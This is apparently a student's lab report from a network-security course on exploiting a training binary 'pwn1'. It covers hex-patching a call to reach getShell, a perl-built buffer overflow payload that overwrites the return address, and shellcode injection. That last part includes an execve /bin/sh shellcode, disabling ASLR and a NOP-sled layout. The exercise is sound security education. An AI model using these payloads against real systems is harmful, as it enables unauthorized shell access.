Exp1 PC平台逆向破

1 实验要求

1.1 实验目标

    本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

 

1.2 实验内容

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  3. 注入一个自己制作的shellcode并运行这段shellcode。

    2 实验步骤

    2.1 直接修改程序机器指令,改变程序执行流程

  4. 由于在安装注册kali时注册名为0  本实验以下均为0@kali
  5. 先从码云上把需求的文件pwn1下载下来,我存放在exp文件夹中

  6. 首先输入命令objdump -d pwn1 | more汇编一下pwn1文件,输入/getShell 直接找到getShell函数以及后面的foo和main函数

  7.  我们可以看到在main函数中,进行的其实就是foo函数的调用。

    主函数中的call 8048491 <foo>语句所对应的机器指令是e8 d7 ff ff ff,其中e8代表call,那么后面的d7 ff ff ff就是对应的foo地址8048491。

    现在我们要使call的不是foo,而是getShell,那么应将8048491改为804847d。

    通过学习,已知d7 ff ff ff 是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491。

    那么要修改8048491,只要修改d7 ff ff ff为804847d-80484ba对应的补码就行。

  8. 为避免产生不可逆转的错误,且不影响原文件,又保证之后实验的顺利进行,所以先用cp命令将pwn1拷贝成pwn2,在pwn2上进行操作。
  9. 打开pwn2文件,输入:%!xxd,将显示模式切换为16进制模式。/e8 d7查找要修改的内容(此处中间一定要加空格!由于空格问题一直卡在这)

    进入编辑模式 ,将e8 d7改为e8 c3,再输入:%!xxd -r切换回原格式,并:wq保存并退出。

  10. 修改完成以后,再次反汇编一下pwn2文件,确认是否修改成功。

    可以发现d7已经被改成了c3.

  11. 最后我们分别运行未被修改的pwn1和已被修改的pwn2进行对比,

    发现pwn1中会显示用户所输入的字符串,而pwn2出现了getShell的提示符$。

2.2 通过构造输入参数,造成BOF攻击,改变程序执行流

打开pwn1文件,首先进行反汇编objdump -d pwn1 | more,并找到getShell函数以及后面的foo和main函数

我们观察可以发现该可执行文件正常运行是在主函数中call调用foo函数,同时在堆栈上压上返回地址值:80804ba(即call指令的下一条指令地址)

但是这个函数有Buffer overflow漏洞。

在foo函数中读入字符串时,系统只预留了0x1c字节(即28字节)的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。

接下来需要确认超过28字节的字符串中到底哪几位决定了eip寄存器的值。

我们用gdb来调试一下,如果正常输入小于等于28字节(即小于等于预留空间)的话,程序会正常运行并退出。

现在输入1111111111111111111111111111234567892345,超出了12个字节,可以发现跳到eip寄存器中的值正是5678(即第33-36字节)

同时还能发现,输入的字节序应该是小端优先,

也就是说,我们要让getShell的地址去替换“5678”的话,由于getShell的起始地址是0804847d,那么我们应该输入的是1111111111111111111111111111234\x7d\x84\x04\x08

但是,由于键盘没法输入\x7d\x84\x04\x08这样的16进制值,所以必须用perl语言先生成包括这样字符串的一个文件,输入以下代码:whh20174320@kali:~/exp$   perl -e 'print "11111111111111111111111111112345\x7d\x84\x04\x08\x0a"' > input

\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

我们使用16进制查看指令xxd查看input文件的内容确实生成了我们想要的\x7d\x84\x04\x08

然后将input的输入,通过管道符“|”,作为pwn1的输入,使用命令:(cat input; cat) | ./pwn1

这一来我们就成功调用了getShell函数。(这里我用ls命令和pwd命令分别查看了一下)

2.3 注入Shellcode并执行   \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\  

  1. 设置堆栈可执行 : execstack -s pwn1
  2. 关闭地址空间随机化: echo "0" > /proc/sys/kernel/randomize_va_space  (只能超级用户来进行操作,否则权限不够)
  3. Linux下有两种基本构造攻击buf的方法:

    • retaddr+nop+shellcode
    • nop+shellcode+retaddr

    retaddr在缓冲区的位置是固定的,缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。

    我们这个buf够放这个shellcode了,结构为:nops+shellcode+retaddr。nop一为是了填充,二是作为“着陆区/滑行区”。

    返回地址只要落在任何一个nop上,自然会滑到shellcode。

  4. 但是由于我们不知道shellcode的起始地址,所以我们暂时用\x4\x3\x2\x1来代替(不能要行尾的回车号!运行的时候也不能打回车!教训惨痛)

    接下来,首先我们来确定\x4\x3\x2\x1到底该填什么。

    打开一个终端注入这段攻击buf:

 

5.通过设置断点,来查看注入buf的内存地址:

可以观察发现已经看到了0x01020304,说明之前设置的返回地址就在这:0xffffd32c。

  那么就意味着shellcode是紧挨着它的,因此我们可以推出来shellcode的地址就是:0xffffd32c+4=0xffffd330。

已经成功找到了shellcode的起始地址,那么就可以把原来文件中的数据进行修改了。

3 实验感想与思考 

 

3.1 实验心得

第一次接触关于此方面的实验,并且第一次在博客园进行注册和使用,在遇到很多困难的同时,也发现了博客园中众多的学习资料。丰富了自己的视野

在组长黄华健的指导下,从kali的安装开始,我克服很多苦难,一步步完成了实验。

网络对抗这门学科,更是一门技术,需要细心谨慎,充满想象,敢想敢做。

3.2 思考

什么是漏洞?漏洞有什么危害?

漏洞是在硬件软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。具体举例来说,比如在Intel Pentium芯片中存在的逻辑错误,在Sendmail早期版本中的编程错误,在NFS协议中认证方式上的弱点,在Unix系统管理员设置匿名Ftp服务时配置不当的问题都可能被攻击者使用,威胁到系统的安全。因而这些都可以认为是系统中存在的安全漏洞

posted @ 2020-03-22 18:00  fkurightup  阅读(78)  评论(1编辑  收藏